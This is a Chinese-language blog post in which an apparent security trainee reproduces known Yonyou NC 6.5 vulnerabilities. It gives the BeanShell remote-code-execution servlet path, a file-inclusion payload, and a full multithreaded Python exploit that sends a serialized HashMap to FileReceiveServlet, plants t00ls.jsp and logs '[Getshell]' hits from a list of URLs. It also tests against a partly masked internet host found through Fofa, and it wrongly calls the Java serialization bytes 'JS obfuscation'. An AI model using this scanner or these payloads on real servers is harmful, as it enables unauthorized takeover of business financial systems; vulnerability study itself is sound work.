相关声明
本文内容仅为技术科普,请勿用于非法用途。概不负责,一切后果由用户自行承担。
我今天先自己写这一行
五一过完了,我却什么都没干,反思一下自己,这样不行啊巴扎嘿。
今天因为马上要测一个系统,他们用的是用友nc的,师傅叫我把nc之前的漏洞找一找并且复现一下,所以今天的帖子就是复现一下漏洞。
以下漏洞以nc6.5为主
NC是指用友软件公司开发的新一代财务软件,它是基于网页的一种网页版财务管理软件,它具有登陆方便,无需下载客户端等优点。
CNVD-2021-30167 BeanShell远程代码执行
Fofa上找了一个靶机:http://114.55.xx.184:8888/login.jsp(fofa自己搜吧,我就xx一下吧)
该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接口,并构造恶意数据执行任意代码并获取服务器权限。
servlet/~ic/bsh.servlet.BshServlet
这个目标禁止开放BeanShell访问接口,以前nc6.5是开放接口的
就可以执行命令 exec就能执行系统命令
第二个是文件包含
Payload:/NCFindWeb?service=IPreAlertConfigService&filename=xxx
我这边直接不加xxx
随便访问一个admin.jsp
成功
任意文件上传漏洞及反序列化
我们主要看一下这个poc
import requests
import threadpool
import urllib3
import sys
import argparse
urllib3.disable_warnings()
proxies = {‘http’: ‘http://localhost:8080’, ‘https’: ‘http://localhost:8080’}
header = {
“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36”,
“Content-Type”: “application/x-www-form-urlencoded”,
“Referer”: “https://google.com”,
}
def multithreading(funcname, filename=”url.txt”, pools=5):
works = []
with open(filename, “r”) as f:
for i in f:
func_params = [i.rstrip(“\n”)]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(funcname, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
def wirte_targets(vurl, filename):
with open(filename, “a+”) as f:
f.write(vurl + “\n”)
return vurl
def exp(u):
uploadHeader = {
“User-Agent”: “Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36”,
“Content-Type”: “multipart/form-data;”,
“Referer”: “https://google.com”
}
uploadData = “\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78”
shellFlag=”t0test0ls”
uploadData+=shellFlag
try:
req1 = requests.post(u + “/servlet/FileReceiveServlet”, headers=uploadHeader, verify=False, data=uploadData, timeout=25)
if req1.status_code == 200 :
req3=requests.get(u+”/t00ls.jsp”,headers=header, verify=False, timeout=25)
if req3.text.index(shellFlag)>=0:
printFlag = “[Getshell]” + u+”/t00ls.jsp” + “\n”
print (printFlag)
wirte_targets(printFlag, “vuln.txt”)
except :
pass
#print(printFlag, end=””)
if __name__ == “__main__”:
if (len(sys.argv)) < 2:
print(‘useage : python’ +str(sys.argv[0]) + ‘ -h’)
else:
parser =argparse.ArgumentParser()
parser.description =’YONYOU UC 6.5 FILE UPLOAD!’
parser.add_argument(‘-u’,help=”url -> example [url]http://127.0.0.1[/url]”,type=str,dest=’check_url’)
parser.add_argument(‘-r’,help=”url list to file”,type=str,dest=’check_file’)
args =parser.parse_args()
if args.check_url:
exp(args.check_url)
if(args.check_file):
multithreading(exp, args.check_file, 8)
————————————————
Poc的来源是:
版权声明:本文为CSDN博主「Adminxe」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Adminxe/article/details/111177066
这个主要看看exp部分,就是拼接了个请求报文,要是req1访问没问题就证明上传了,req3就是判断一下我们上传的t0test01s(就是这个t00ls.jsp)内容合不合适,要是都没问题,就证明漏洞验证成功
那么现在问题来了,第一我从哪里上传了t00ls.jsp这个文件,第二那段长长的/xac/xed是个啥?
结合其他两篇文章https://www.freebuf.com/articles/web/280334.html
https://www.jianshu.com/p/ad30b2e47efe
这三个文章我都看了一下,说的对我来说都不是很好懂,可能是我技术水平较低,我感觉漏洞原理尤其是exp并不是那么简单,我觉得这个tools0的exp是有两个漏洞利用的,一个是反序列化,一个是上传
我把其中文章的这一段摘出来:
存在问题的代码,其实也很简单通过requtest对象获取数据,然后反序列化该数据为map类型的对象获取TARGET_FILE_PATH和FILE_NAME,然后将文件写入到TARGET_FILE_PATH!
这里还有一个问题最后写文件的时候是直接通过输入流来read的这时候接收到的数据是还没进行反序列化的,那么在序列化文件中添加其他的数据是否会影响反序列化报错(这个是很必要的因为我们要把shell的内容通过流传过去就得将shell内容写入到序列化文件中),这里做个实验:定义一个类 person对该类进行序列化
序列化代码,这里创建字节流缓冲区按字节码文件写进去
生成的序列化文件的内容数据已经成功添加进去
反序列化试一下,没有问题成功获取到对象
这个时候就可以构造exp了,我这里本地的环境有问题访问servlet直接下载了,本地搭建了一个web环境做个测试,传入到/tmp目录下
然后我们可以在这个作者的第一张图里找到这个代码,这个就是漏洞原理,没有限制这个newfile
依据以下代码
我自己按照exp用bp手动改了一下报文
发送了一下,发现并没有上传成功
问了一下之前第一位老师,那段/XAC/XED/X00是js混淆,他给我了这篇文章https://www.baishujun.com/archives/788.html
文章提供了js/x16解密工具https://tool.lu/js,加上js标签<script></script>之后解密,结果如下
再参考一下freebuf那篇文章利用工具之后截取的报文如下图
我们再根据前文分析,真相只有一个,那么这个exp就是利用反序列化漏洞进行的文件上传,前文有简书的作者尝试一个简单序列化的demo图片可以发现和这串js/x16解密出来的东西一模一样,所以就是利用反序列化达到上传t00ls.jsp的目的
但现在有个新问题,就是在线网址解密出来的这串序列化的hashmap没办法复制到bp上,所以我就得按照之前文章的作者手动序列化一下。
这就是我对这个漏洞的大概理解,我这边配置好js环境我自己再试试,之后再更新一下,之后有机会水一篇ca证书认证,tls协议,以及wireshark关于tls抓包的我的理解吧